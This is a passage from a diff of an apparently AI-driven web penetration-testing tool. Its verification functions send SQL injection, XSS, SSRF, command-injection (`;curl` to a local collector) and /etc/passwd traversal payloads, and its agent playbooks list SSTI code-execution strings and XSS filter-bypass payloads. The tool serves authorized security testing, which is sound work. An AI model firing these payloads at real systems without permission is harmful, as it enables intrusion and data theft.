+ const first = Object.keys(parsed.params)[0];
185
+ if (first)
186
+ return { key: first, value: parsed.params[first] ?? "" };
187
+ return null;
62
188
  }
63
- function parseAsan(text) {
64
- const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
65
- if (!header?.[1])
66
- return null;
67
- const kind = header[1].toLowerCase();
68
- const { primitive, accessSize } = parsePrimitive(text);
69
- const frames = parseFrames(text);
70
- let sourceFile = frames[0]?.file;
71
- let sourceLine = frames[0]?.line;
72
- const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
73
- if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
74
- sourceFile = summary[1];
75
- sourceLine = Number(summary[2]);
189
+ async function verifySqli(finding, target, context = {}) {
190
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
191
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
192
+ const victim = pickInjectableParam(parsed);
193
+ if (!victim)
194
+ return notVerifiable("no injectable parameter found in finding evidence");
195
+ const signals = [];
196
+ const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
197
+ if (!baseline)
198
+ return notVerifiable("baseline request failed");
199
+ const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
200
+ const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
201
+ if (trueProbe && falseProbe && trueProbe.body.length > 0) {
202
+ const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
203
+ if (delta > 0.1) {
204
+ signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
205
+ }
206
+ }
207
+ const timePayloads = [
208
+ `${victim.value}' AND SLEEP(3)-- -`,
209
+ `${victim.value}'; SELECT pg_sleep(3)-- -`,
210
+ `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
211
+ ];
212
+ for (const payload of timePayloads) {
213
+ const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
214
+ if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
215
+ signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
216
+ break;
217
+ }
218
+ }
219
+ const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
220
+ if (errProbe) {
221
+ const err = detectSqlError(errProbe.body);
222
+ if (err)
223
+ signals.push(`sql_error: ${err}`);
224
+ }
225
+ if (signals.length >= 2) {
226
+ return verified(signals.join(" | "));
76
227
  }
77
- const allocMatch = text.match(/\b(\d+)-byte region\b/i);
78
- const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
79
228
  return {
80
- sanitizer: "asan",
81
- kind,
82
- category: categoryForAsan(kind, primitive),
83
- primitive,
84
- sourceFile,
85
- sourceLine,
86
- allocSize,
87
- accessSize,
88
- summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
89
- frames
229
+ verified: false,
230
+ confidence: signals.length === 1 ? 0.4 : 0,
231
+ evidence: signals.join(" | "),
232
+ reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
90
233
  };
91
234
  }
92
- function parseUbsan(text) {
93
- const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
94
- if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
95
- return null;
96
- const details = runtime[4].trim();
97
- const { kind, category } = categoryForUbsan(details);
98
- return {
99
- sanitizer: "ubsan",
100
- kind,
101
- category,
102
- primitive: "unknown",
103
- sourceFile: runtime[1],
104
- sourceLine: Number(runtime[2]),
105
- summary: details,
106
- frames: []
235
+ async function verifyReflectedXss(finding, target, context = {}) {
236
+ const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
237
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
238
+ const victim = pickInjectableParam(parsed);
239
+ if (!victim)
240
+ return notVerifiable("no injectable parameter found in finding evidence");
241
+ const token = `osec_${randomUUID().replace(/-/g, "")}`;
242
+ const payload = `<script>alert('${token}')</script>`;
243
+ const { url, init } = buildProbeRequest(parsed, {
244
+ [victim.key]: payload
245
+ });
246
+ const probe = await timedFetch(url, init);
247
+ const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
248
+ let playwright = null;
249
+ try {
250
+ playwright = await import("playwright");
251
+ } catch {
252
+ }
253
+ if (playwright) {
254
+ let browser = null;
255
+ try {
256
+ browser = await playwright.chromium.launch({ headless: true });
257
+ const page = await browser.newPage();
258
+ let dialogMessage = "";
259
+ page.on("dialog", async (dialog) => {
260
+ if (dialog.type() === "alert" && dialog.message() === token) {
261
+ dialogMessage = token;
262
+ }
263
+ await dialog.dismiss().catch(() => {
264
+ });
265
+ });
266
+ let replayed = false;
267
+ await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
268
+ const request = route.request();
269
+ const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
270
+ if (initial)
271
+ replayed = true;
272
+ const replayInit = {
273
+ method: initial ? init.method : request.method(),
274
+ headers: initial ? init.headers : request.headers(),
275
+ body: initial ? init.body : request.postData(),
276
+ redirect: "manual"
277
+ };
278
+ if (context.fetch) {
279
+ try {
280
+ const response = await context.fetch(request.url(), replayInit);
281
+ const headers = Object.fromEntries(response.headers);
282
+ delete headers["content-encoding"];
283
+ delete headers["content-length"];
284
+ await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
285
+ } catch {
286
+ await route.abort();
287
+ }
288
+ } else if (initial) {
289
+ await route.continue({
290
+ method: init.method,
291
+ headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
292
+ ...typeof init.body === "string" ? { postData: init.body } : {}
293
+ });
294
+ } else {
295
+ await route.continue();
296
+ }
297
+ });
298
+ await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
299
+ await page.waitForTimeout(500);
300
+ await browser.close();
301
+ browser = null;
302
+ if (dialogMessage === token) {
303
+ return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
304
+ }
305
+ } catch (err) {
306
+ if (browser)
307
+ await browser.close().catch(() => {
308
+ });
309
+ return {
310
+ verified: false,
311
+ confidence: htmlReflected ? 0.4 : 0,
312
+ evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
313
+ inconclusive: true,
314
+ reason: `playwright navigation failed: ${err.message}`
315
+ };
316
+ }
317
+ }
318
+ if (htmlReflected) {
319
+ return {
320
+ verified: false,
321
+ confidence: 0.5,
322
+ evidence: `html_reflection: payload reflected unencoded in response body`,
323
+ reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
324
+ };
325
+ }
326
+ return notVerifiable("no xss reflection or alert captured");
327
+ }
328
+ async function withCollector(nonce, timeoutMs, work) {
329
+ const port = 8888 + Math.floor(Math.random() * 1e3);
330
+ let hit = false;
331
+ const server = createServer((req, res) => {
332
+ if ((req.url ?? "").includes(nonce))
333
+ hit = true;
334
+ res.writeHead(200);
335
+ res.end("ok");
336
+ });
337
+ await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
338
+ const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
339
+ const waitForHit = async () => {
340
+ const deadline = Date.now() + timeoutMs;
341
+ while (Date.now() < deadline) {
342
+ if (hit)
343
+ return true;
344
+ await new Promise((r) => setTimeout(r, 100));
345
+ }
346
+ return hit;
107
347
  };
348
+ try {
349
+ return await work(collectorUrl, waitForHit);
350
+ } finally {
351
+ await new Promise((resolve) => server.close(() => resolve()));
352
+ }
108
353
  }
109
- function parseSanitizerLog(text) {
110
- const trimmed = text.trim();
111
- if (!trimmed)
112
- return null;
113
- return parseAsan(trimmed) ?? parseUbsan(trimmed);
354
+ async function verifySsrf(finding, target, context = {}) {
355
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
356
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
357
+ const victim = pickInjectableParam(parsed);
358
+ if (!victim)
359
+ return notVerifiable("no injectable parameter found in finding evidence");
360
+ const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
361
+ return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
362
+ const { url, init } = buildProbeRequest(parsed, {
363
+ [victim.key]: collectorUrl
364
+ });
365
+ const probe = await timedFetch(url, init, 8e3);
366
+ if (!probe)
367
+ return notVerifiable("ssrf probe failed to send");
368
+ const hit = await waitForHit();
369
+ if (hit) {
370
+ return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
371
+ }
372
+ return {
373
+ verified: false,
374
+ confidence: 0,
375
+ evidence: "",
376
+ reason: `collector never received a request for nonce=${nonce}`
377
+ };
378
+ });
114
379
  }
115
- function renderSanitizerVerdict(verdict) {
116
- const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
117
- const sizes = [
118
- verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
119
- verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
120
- ].filter(Boolean).join(", ");
121
- return [
122
- `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
123
- `category=${verdict.category}`,
124
- `primitive=${verdict.primitive}`,
125
- `source=${loc}`,
126
- sizes || null
127
- ].filter(Boolean).join("; ");
380
+ async function verifyRce(finding, target, context = {}) {
381
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
382
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
383
+ const victim = pickInjectableParam(parsed);
384
+ if (!victim)
385
+ return notVerifiable("no injectable parameter found in finding evidence");
386
+ const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
387
+ return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
388
+ const payloads = [
389
+ `${victim.value};curl ${collectorUrl}`,
390
+ `${victim.value}|curl ${collectorUrl}`,
391
+ `${victim.value}$(curl ${collectorUrl})`,
392
+ `${victim.value}\`curl ${collectorUrl}\``,
393
+ `${victim.value}&&curl ${collectorUrl}`
394
+ ];
395
+ for (const payload of payloads) {
396
+ const { url, init } = buildProbeRequest(parsed, {
397
+ [victim.key]: payload
398
+ });
399
+ await timedFetch(url, init, 8e3);
400
+ }
401
+ const hit = await waitForHit();
402
+ if (hit)
403
+ return verified(`collector hit: nonce=${nonce}`);
404
+ return {
405
+ verified: false,
406
+ confidence: 0,
407
+ evidence: "",
408
+ reason: `collector never received a request for nonce=${nonce}`
409
+ };
410
+ });
411
+ }
412
+ var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
413
+ async function verifyPathTraversal(finding, target, context = {}) {
414
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
415
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
416
+ const victim = pickInjectableParam(parsed);
417
+ if (!victim)
418
+ return notVerifiable("no injectable parameter found in finding evidence");
419
+ const payloads = [
420
+ "../../../../etc/passwd",
421
+ "..%2f..%2f..%2f..%2fetc%2fpasswd",
422
+ "..%252f..%252f..%252fetc%252fpasswd",
423
+ "../../../../etc/passwd%00",
424
+ "....//....//....//etc/passwd",
425
+ "/etc/passwd"
426
+ ];
427
+ for (const payload of payloads) {
428
+ const { url, init } = buildProbeRequest(parsed, {
429
+ [victim.key]: payload
430
+ });
431
+ const probe = await timedFetch(url, init);
432
+ if (!probe)
433
+ continue;
434
+ const m = probe.body.match(PASSWD_PATTERN);
435
+ if (m) {
436
+ return verified(`payload=${payload} response contained "${m[0]}"`);
437
+ }
438
+ }
439
+ return notVerifiable("no /etc/passwd signature in any traversal probe response");
440
+ }
441
+ async function verifyIdor(finding, target, context = {}) {
442
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
443
+ const boundary = await context.verifyAccessControl?.(finding, target);
444
+ if (boundary)
445
+ return boundary;
446
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
447
+ if (parsed.method !== "GET")
448
+ return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
449
+ let idKey = null;
450
+ let idValue = 0;
451
+ for (const [k, v] of Object.entries(parsed.params)) {
452
+ if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
453
+ idKey = k;
454
+ idValue = parseInt(v, 10);
455
+ break;
456
+ }
457
+ }
458
+ if (!idKey) {
459
+ for (const [k, v] of Object.entries(parsed.params)) {
460
+ if (/^\d+$/.test(v)) {
461
+ idKey = k;
462
+ idValue = parseInt(v, 10);
463
+ break;
464
+ }
465
+ }
466
+ }
467
+ if (!idKey)
468
+ return notVerifiable("no numeric id-like parameter to mutate");
469
+ const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
470
+ if (!baseline)
471
+ return notVerifiable("baseline request failed");
472
+ const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
473
+ const hits = [];
474
+ for (const variant of variants) {
475
+ if (variant === String(idValue))
476
+ continue;
477
+ const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
478
+ if (!probe)
479
+ continue;
480
+ if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
481
+ hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
482
+ }
483
+ }
484
+ if (hits.length > 0) {
485
+ return {
486
+ verified: false,
487
+ confidence: 0.7,
488
+ inconclusive: true,
489
+ evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
490
+ reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
491
+ };
492
+ }
493
+ return notVerifiable("no distinct 200 response on id mutation");
494
+ }
495
+ async function verifyOracleByCategory(finding, target, context = {}) {
496
+ const category = finding.category;
497
+ switch (category) {
498
+ case "sql-injection":
499
+ return verifySqli(finding, target, context);
500
+ case "xss":
501
+ return verifyReflectedXss(finding, target, context);
502
+ case "ssrf":
503
+ return verifySsrf(finding, target, context);
504
+ case "command-injection":
505
+ case "code-injection":
506
+ return verifyRce(finding, target, context);
507
+ case "path-traversal":
508
+ return verifyPathTraversal(finding, target, context);
509
+ // Heuristic: "information-disclosure" findings referencing an id param
510
+ // look a lot like IDOR. We route them through the IDOR oracle as well.
511
+ case "information-disclosure":
512
+ return verifyIdor(finding, target, context);
513
+ default:
514
+ return {
515
+ verified: false,
516
+ confidence: 0,
517
+ evidence: "",
518
+ reason: `no oracle for category="${category}"`
519
+ };
520
+ }
128
521
  }
129
522
 
130
- // packages/core/dist/agent/playbooks.js
131
- var PLAYBOOKS = {
132
- sqli: `## SQLi Playbook
133
- - Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
134
- - Check for error-based: ' AND 1=CONVERT(int,@@version)--
135
- - For blind: write Python timing script (see script templates)
136
- - Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
137
- - Try UNION SELECT with increasing column count
138
- - Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
139
- - If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
140
- structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
141
- The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
142
- - Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
143
- - Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
144
- - Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
145
- 1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
146
- 2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
147
- 3. Balance: re-close the quote + comment the tail with the DISCOVERED dialect's syntax (MySQL needs "-- " with a space \u2192 name'-- -). No error on the balanced key while the broken key errored \u21D2 structural SQLi confirmed.
148
- - Prove with an ORDER BY boolean/error oracle (no quotes needed); extract minimal non-sensitive proof; save the finding WITH the ordered iteration trail.`,
149
- ssti: `## SSTI Playbook
150
- - Confirm with: {{7*7}}, \${7*7}, <%= 7*7 %>
151
- - Identify engine: {{config}} (Jinja2), #{7*7} (Ruby), {{self}} (Twig)
152
- - Escalate Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
153
- - Escalate Django: {% load module %}{% module.dangerous %}
154
- - Try {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
155
- - If blocked, try: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}`,
156
- idor: `## IDOR Playbook
157
- - Login with provided/default creds first
158
- - Find any URL with an ID parameter: /api/users/1, /profile?id=1, /edit/1
159
- - Try incrementing/decrementing IDs: 0, 2, 3, 999, admin
160
- - Try changing user identifiers in POST body: user_id, owner_id, account_id
161
- - Check both GET and POST/PUT endpoints for same resource
162
- - Try negative IDs, very large IDs, string values where integers expected
163
- - Check indirect IDOR: change ID in one endpoint, observe result in another`,
164
- access_control: `## Broken Access Control Playbook (BOLA / IDOR / BFLA \u2014 multi-identity)
165
-
166
- This is the highest-impact API vuln class (OWASP API #1 & #5) and is ONLY
167
- testable with \u22652 identities. If the scan configured multiple identities, use
168
- the **access_control_probe** tool \u2014 it captures a resource as the authorized
169
- identity, replays the SAME request as another identity, and diffs the result.
170
-
171
- ### Horizontal (BOLA / IDOR) \u2014 read another user's object
172
- 1. As identity A, find an object you legitimately own: /api/users/{A_id},
173
- /api/orders/{A_order}, /account/{A_id}/settings, ?id={A_id}.
174
- 2. Call \`access_control_probe\` with that URL, baseline_identity = A,
175
- compare_identities = [B], expect_denied = true.
176
- 3. If B gets a 2xx with the SAME body A saw \u2192 confirmed BOLA. The tool returns
177
- A-vs-B request/response evidence \u2014 pass it straight into save_finding.
178
- 4. Also try B's own id incremented/decremented to A's id in the path AND body
179
- (user_id, owner_id, account_id) \u2014 IDOR often hides in the POST/PUT body.
180
-
181
- ### Vertical (BFLA) \u2014 low-priv reaching admin-only function
182
- 1. As the admin identity, hit an admin-only endpoint (/admin, /api/admin/users,
183
- role-changing POSTs).
184
- 2. \`access_control_probe\` baseline_identity = admin, compare_identities =
185
- [low-priv user, anonymous], expect_denied = true.
186
- 3. A 2xx for the low-priv / anonymous identity = vertical privilege escalation.
187
-
188
- ### Cross-tenant writes and multi-step workflows
189
- 1. Use a disposable resource and a fresh marker within the approved scope.
190
- 2. Call \`access_control_workflow\` with the owner and actor identities,
191
- an owner-visible JSON observation, the actor's ordered requests, and
192
- \`allow_mutation: true\`.
193
- 3. Confirm only when the owner-visible state changes to the expected marker.
194
- A 2xx/no-op is not proof, and a 403 can still hide a committed state change.
195
- 4. Keep before/after and per-step evidence. Missing observations, transport
196
- errors, or a marker already present before the attempt are inconclusive.
197
-
198
- ### Tips
199
- - The HTTP tools are now stateful: a session cookie captured via submit_form is
200
- auto-re-injected, so you do NOT need manual \`curl -c/-b\` jars.
201
- - A 200 alone isn't proof \u2014 the probe's body-similarity diff is what confirms
202
- the SAME resource crossed the boundary. Save findings only on a real diff.`,
203
- xss: `## XSS Playbook
204
-
205
- ### Step 1: Identify Injection Points
206
- - Use curl to fetch every page with forms or URL parameters
207
- - Look for reflected output: inject a unique canary string (e.g. "osec123xss") and check if it appears unescaped in the response HTML
208
- - Check Content-Type headers \u2014 XSS only works when response is text/html
209
- - Note which characters are reflected vs stripped: < > " ' / \` ( ) = on
210
-
211
- ### Step 2: Test with Basic Payloads via curl
212
- - Reflected: <script>alert(1)</script> in all params (GET and POST)
213
- - Event handlers: <img src=x onerror=alert(1)>, <svg onload=alert(1)>
214
- - Stored XSS: inject in forms that save data (comments, profiles, settings), then visit the page where it renders
215
- - DOM XSS: look for document.location, innerHTML, eval, document.write in client JS source
216
-
217
- ### Step 3: Confirm XSS with the Browser Tool (CRITICAL)
218
- curl CANNOT execute JavaScript \u2014 you MUST use the browser tool to confirm XSS fires.
219
- 1. browser action=navigate url=TARGET_URL_WITH_PAYLOAD
220
- 2. Check the "dialogs" array in the response \u2014 if it contains "alert: 1" or similar, XSS is CONFIRMED
221
- 3. If no dialog fires, try: browser action=evaluate script="document.querySelector('img[onerror]') !== null"
222
- 4. For stored XSS: first inject via curl/submit_form, then navigate with browser to the render page
223
- 5. For DOM XSS: browser action=navigate to the page, then action=evaluate to check if payload executed
224
-
225
- ### Step 4: WAF/Filter Bypass Payloads
226
- If basic payloads are blocked, try these bypasses IN ORDER:
227
-
228
- **Angle brackets stripped/encoded:**
229
- - " onfocus=alert(1) autofocus="
230
- - ' onfocus='alert(1)' autofocus='
231
- - " autofocus onfocus=alert(1)//
232
-
233
- **script tag blocked:**
234
- - <img src=x onerror=alert(1)>
235
- - <svg/onload=alert(1)>
236
- - <details open ontoggle=alert(1)>
237
- - <body onload=alert(1)>
238
- - <marquee onstart=alert(1)>
239
- - <video><source onerror=alert(1)>
240
- - <input onfocus=alert(1) autofocus>
241
-
242
- **alert() blocked:**
243
- - <img src=x onerror=confirm(1)>
244
- - <img src=x onerror=prompt(1)>
245
- - <img src=x onerror=print()>
246
- - <img src=x onerror=window['al'+'ert'](1)>
247
-
248
- **Encoding bypasses:**
249
- - URL encoding: %3Cscript%3Ealert(1)%3C/script%3E
250
- - Double URL encoding: %253Cscript%253Ealert(1)%253C%252Fscript%253E
251
- - HTML entities: &lt;script&gt; (check if decoded server-side)
252
- - Unicode: \\u003cscript\\u003ealert(1)\\u003c/script\\u003e
253
- - Mixed case: <ScRiPt>alert(1)</ScRiPt>
254
- - Null bytes: <scr%00ipt>alert(1)</script>
523
+ // packages/core/dist/review/sanitizer-log.js
524
+ var ASAN_CATEGORY_BY_KIND = {
525
+ "heap-use-after-free": "use-after-free",
526
+ "stack-use-after-return": "use-after-free",
527
+ "stack-use-after-scope": "use-after-free",
528
+ "double-free": "double-free",
529
+ "attempting-double-free": "double-free",
530
+ "stack-buffer-overflow": "stack-buffer-overflow",
531
+ "heap-buffer-overflow": "heap-overflow",
532
+ "global-buffer-overflow": "heap-overflow"
533
+ };
534
+ function categoryForAsan(kind, primitive) {
535
+ if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
536
+ return "out-of-bounds-read";
537
+ }
538
+ if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
539
+ return "out-of-bounds-write";
540
+ }
541
+ return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
542
+ }
543
+ function categoryForUbsan(message) {
544
+ const lower = message.toLowerCase();
545
+ if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
546
+ return { kind: "signed-integer-overflow", category: "integer-overflow" };
547
+ }
548
+ if (lower.includes("shift exponent") || lower.includes("shift base")) {
549
+ return { kind: "shift-exponent", category: "integer-overflow" };
550
+ }
551
+ if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
552
+ return { kind: "float-cast-overflow", category: "integer-truncation" };
553
+ }
554
+ if (lower.includes("null pointer") || lower.includes("null-pointer")) {
555
+ return { kind: "null-pointer-use", category: "null-deref" };
556
+ }
557
+ return { kind: "undefined-behavior", category: "other" };
558
+ }
559
+ function parsePrimitive(text) {
560
+ const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
561
+ if (!access)
562
+ return { primitive: "unknown" };
563
+ return {
564
+ primitive: access[1].toLowerCase(),
565
+ accessSize: Number(access[2])
566
+ };
567
+ }
568
+ function parseFrames(text) {
569
+ const frames = [];
570
+ const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
571
+ let match;
572
+ while ((match = frameRegex.exec(text)) !== null) {
573
+ frames.push({
574
+ functionName: match[1],
575
+ file: match[2],
576
+ line: Number(match[3])
577
+ });
578
+ }
579
+ return frames;
580
+ }
581
+ function parseAsan(text) {
582
+ const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
583
+ if (!header?.[1])
584
+ return null;
585
+ const kind = header[1].toLowerCase();
586
+ const { primitive, accessSize } = parsePrimitive(text);
587
+ const frames = parseFrames(text);
588
+ let sourceFile = frames[0]?.file;
589
+ let sourceLine = frames[0]?.line;
590
+ const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
591
+ if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
592
+ sourceFile = summary[1];
593
+ sourceLine = Number(summary[2]);
594
+ }
595
+ const allocMatch = text.match(/\b(\d+)-byte region\b/i);
596
+ const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
597
+ return {
598
+ sanitizer: "asan",
599
+ kind,
600
+ category: categoryForAsan(kind, primitive),
601
+ primitive,
602
+ sourceFile,
603
+ sourceLine,
604
+ allocSize,
605
+ accessSize,
606
+ summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
607
+ frames
608
+ };
609
+ }
610
+ function parseUbsan(text) {
611
+ const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
612
+ if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
613
+ return null;
614
+ const details = runtime[4].trim();
615
+ const { kind, category } = categoryForUbsan(details);
616
+ return {
617
+ sanitizer: "ubsan",
618
+ kind,
619
+ category,
620
+ primitive: "unknown",
621
+ sourceFile: runtime[1],
622
+ sourceLine: Number(runtime[2]),
623
+ summary: details,
624
+ frames: []
625
+ };
626
+ }
627
+ function parseSanitizerLog(text) {
628
+ const trimmed = text.trim();
629
+ if (!trimmed)
630
+ return null;
631
+ return parseAsan(trimmed) ?? parseUbsan(trimmed);
632
+ }
633
+ function renderSanitizerVerdict(verdict) {
634
+ const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
635
+ const sizes = [
636
+ verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
637
+ verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
638
+ ].filter(Boolean).join(", ");
639
+ return [
640
+ `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
641
+ `category=${verdict.category}`,
642
+ `primitive=${verdict.primitive}`,
643
+ `source=${loc}`,
644
+ sizes || null
645
+ ].filter(Boolean).join("; ");
646
+ }
255
647
 
256
- **Attribute context escapes:**
257
- - " onmouseover=alert(1) x="
258
- - '-alert(1)-'
259
- - javascript:alert(1) (in href/src attributes)
648
+ // packages/core/dist/agent/playbooks.js
649
+ var PLAYBOOKS = {
650
+ sqli: `## SQLi Playbook
651
+ - Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
652
+ - Check for error-based: ' AND 1=CONVERT(int,@@version)--
653
+ - For blind: write Python timing script (see script templates)
654
+ - Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
655
+ - Try UNION SELECT with increasing column count
656
+ - Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
657
+ - If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
658
+ structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
659
+ The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
660
+ - Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
661
+ - Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
662
+ - Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
663
+ 1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
664
+ 2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
665
+ 3. Balance: re-close the quote + comment the tail with the DISCOVERED dialect's syntax (MySQL needs "-- " with a space \u2192 name'-- -). No error on the balanced key while the broken key errored \u21D2 structural SQLi confirmed.
666
+ - Prove with an ORDER BY boolean/error oracle (no quotes needed); extract minimal non-sensitive proof; save the finding WITH the ordered iteration trail.`,
667
+ ssti: `## SSTI Playbook
668
+ - Confirm with: {{7*7}}, \${7*7}, <%= 7*7 %>
669
+ - Identify engine: {{config}} (Jinja2), #{7*7} (Ruby), {{self}} (Twig)
670
+ - Escalate Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
671
+ - Escalate Django: {% load module %}{% module.dangerous %}
672
